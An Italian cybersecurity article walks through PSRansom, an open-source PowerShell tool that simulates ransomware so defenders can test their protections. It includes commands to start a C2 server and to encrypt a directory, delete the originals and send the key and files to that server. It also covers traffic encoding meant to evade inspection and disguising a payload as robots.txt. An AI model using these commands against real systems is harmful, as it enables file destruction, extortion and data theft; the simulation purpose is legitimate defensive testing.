Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca

PSRansom: una simulazione opensource di una infezione da ransomware

Redazione RHC : 1 Luglio 2022 07:00

Questo progetto chiamato PSransom, ci permette di simulare una infezione di un ransomware generico utilizzando solo PowerShell. Inoltre, saremo in grado di simulare l’esfiltrazione di file attraverso un C2 e persino utilizzarlo sia da Windows che da Linux.

Il numero di campagne ransomware che compaiono ogni giorno è impressionante. Su Red Hot Cyber costantemente pubblichiamo nuove violazioni. Per coloro che non hanno familiarità con il concetto, il ransomware è un tipo di programma dannoso che limita l’accesso a determinate parti o file del sistema operativo infetto e richiede un riscatto in cambio della rimozione di questa restrizione.

Normalmente, questa azione viene eseguita tramite un meccanismo di crittografia, che, per la sua robustezza, complica il processo di recupero. In questo modo, gli aggressori si assicurano che la vittima preferisca pagare il riscatto per non perdere le proprie informazioni e quindi monetizzare.

In nessun caso e in nessuna circostanza è consigliabile cadere in questa trappola. Dal momento che il fatto di pagare un riscatto incoraggerebbe l’attaccante a trarre nuovamente profitto con altre vittime. Pertanto, la soluzione migliore è avere più backup e un buon piano di emergenza come sempre abbiamo detto su queste pagine.

Ora, come possiamo prepararci a una situazione del genere? 

Oltre a mantenere aggiornati i nostri sistemi operativi e antivirus, è importante poter verificare se le misure implementate in un’organizzazione siano efficaci contro questo tipo di attacco.

Naturalmente, ci sono molti modi per simulare un ransomware, sia commerciali che gratuiti. Nel mio caso, utilizzeremo questa soluzione gratuita che consente di:

  • Eseguire tutto o parte del processo in memoria
  • Simulare la crittografia dei file con sufficiente robustezza
  • Eliminare i file originali dopo la crittografia
  • Inviare la chiave di ripristino al server C2
  • Esfiltrare i file crittografati al server C2
  • Compatibilità con Windows e Linux
  • Possibilità di recuperare i file originali

Come è stato realizzato

Il progetto è realizzato interamente in PowerShell, quindi occorre installarlo sul nostro sistema se non utilizziamo Windows. In questo caso utilizzeremo Kali Linux. Pertanto se stai usando un’altra distribuzione, i comandi potrebbero non funzionare.

Per prima cosa scarichiamo il progetto e installiamo PowerShell con i seguenti comandi:

sudo apt install powershell -y
git clone https://github.com/JoelGMSec/PSRansom

Una volta scaricato il progetto, avremo due script: PSransom e C2Server . Il primo sarà quello che simulerà l’ infezione ransomware, mentre il secondo si occuperà del recupero dei file e della loro chiave di ripristino.

Successivamente, vedremo cosa può offrire il ransomware e in seguito giocheremo con il server di comando e controllo (C2) . Prima di iniziare, consulteremo la guida utilizzando il parametro -h nel seguente modo:

Come possiamo vedere nell’immagine precedente, l’utilizzo dello strumento è del tutto banale. Dobbiamo solo indicare la directory che vogliamo crittografare, l’IP o il nome host del server C2 e la porta che riceverà la connessione.

Se inoltre vogliamo inviare i file crittografati, dovremo solo aggiungere il parametro-X alla fine del comando. Infine, se vogliamo decifrare, indicheremo la directory in questione e la chiave di ripristino.

Per semplificare, vedremo alcuni esempi di seguito. Innanzitutto, definiremo lo scenario come segue:

  • Il ransomware verrà eseguito su un computer Windows;
  • La cartella che andremo a crittografare si trova in C:\Backup;
  • Il server C2 verrà eseguito su un Kali Linux;
  • Tutto il traffico passerà attraverso un proxy per vederlo in dettaglio.

Ora che abbiamo chiaro l’ambiente di simulazione, mettiamolo in pratica. La prima cosa che faremo è consultare l’aiuto del C2 per vedere quali opzioni abbiamo:

Come possiamo vedere, anche l’utilizzo del server di comando e controllo è molto semplice. Dovremo solo indicare l’interfaccia che ascolterà la connessione e la porta che la riceverà. 

Nel caso specifico ascolteremo su tutte le interfacce e utilizzeremo la porta 80 con il seguente comando:

pwsh C2Server.ps1 + 80

Se tutto è andato bene, dovremmo vedere qualcosa di simile all’immagine precedente. Ricorda che per ascoltare su tutte le interfacce, avremo bisogno dei privilegi di sistema completi.

Successivamente, eseguiremo il processo di crittografia ed esfiltrazione con il seguente comando:

.\PSRansom.ps1 -e Directorio -s ServidorC2 -p Puerto -x

Per eseguire questo processo verrà generata una chiave random di 24 caratteri alfanumerici (minuscolo, maiuscolo e numeri), i dati verranno crittografati in AES256 e la chiave di ripristino verrà inviata al server C2.

Al termine del processo, i file originali verranno eliminati e verranno conservati solo quelli crittografati:

Se andiamo dall’altra parte, dove si trova il nostro server C2, avremmo dovuto ricevere qualcosa di simile a questo:

Come possiamo vedere nello screenshot precedente, riceveremo le informazioni della vittima, la chiave di ripristino, un elenco dei file crittografati e lo stesso, se abbiamo utilizzato il parametro per esfiltrare le informazioni:

Visto che tramite la console non possiamo vedere “cosa sta succedendo sotto il cofano”, utilizziamo un proxy per intercettare il traffico e poter mostrare più in dettaglio il funzionamento del tool.

Per non allungare eccessivamente l’articolo, il processo di comunicazione:

  • Viene verificato se il C2 è operativo (/status)
  • Se lo è, vengono inviate le informazioni sulla vittima (/data)
  • Inoltre, viene inviata la chiave di ripristino (/data)
  • Una volta crittografati i file, viene inviato un log (/log)
  • Se i file vengono esfiltrati, viene notificato al C2 (/files)
  • Ciascuno dei file viene inviato separatamente (/files/*)
  • Il processo di comunicazione è terminato (/done)

Successivamente, dovremmo avere una situazione tipo quella in calce:

In ciascuna delle richieste, tutto il contenuto verrà inviato crittografato o codificato in modo da non essere rilevato da alcun meccanismo di ispezione del traffico:

Inoltre, il C2 stesso è progettato per eseguire una “consegna del payload” tramite il file robots.txt:

Cioè, potremmo usare Invoke-Stealth per crittografare il nostro PSRansom, salvarlo come robots.txt nella stessa directory del C2 e quindi scaricarlo con PowerShell. 

La cosa migliore di tutto questo è che possiamo accedere a questo file solo da PowerShell, essendo totalmente invisibile a qualsiasi browser.

Prima di qualsiasi richiesta che venga fatta al nostro C2, indipendentemente dal percorso o dal metodo (purché sia ​​GET o POST), la risposta sarà sempre la pagina di default che abbiamo visto nell’immagine precedente.

Infine, dobbiamo solo vedere il caso inverso, usando un sistema Linux come vittima:

Poiché PowerShell non ha bisogno di utilizzare alcun tipo di libreria esterna, non sarà necessario intraprendere alcuna azione aggiuntiva per farlo funzionare in modo identico al sistema di Microsoft.

Concludendo, sebbene abbiamo richiesto di esfiltrare i file, questo processo non verrà eseguito (poiché non è possibile, se non c’è comunicazione). Successivamente, sia la chiave di ripristino che il file di registro verranno salvati in un file , all’interno del percorso da cui abbiamo avviato lo strumento.

In questo modo è garantito di poter recuperare i file in caso di esecuzione accidentale o se eseguiamo questo processo da una shell remota su un host che non ha alcun tipo di comunicazione.

Ovviamente, quest’ultimo caso renderebbe le cose molto più facili per il team di risposta agli incidenti, poiché la chiave non sarebbe in memoria e sarebbe molto facile recuperarla per procedere con il processo di decrittazione.Come conclusione finale, lo strumento è in fase “beta” ed è probabile che fallisca in alcuni scenari. Se trovate bug o suggerimenti, non esitate a contattare lo sviluppatore a questo link: https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell/

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.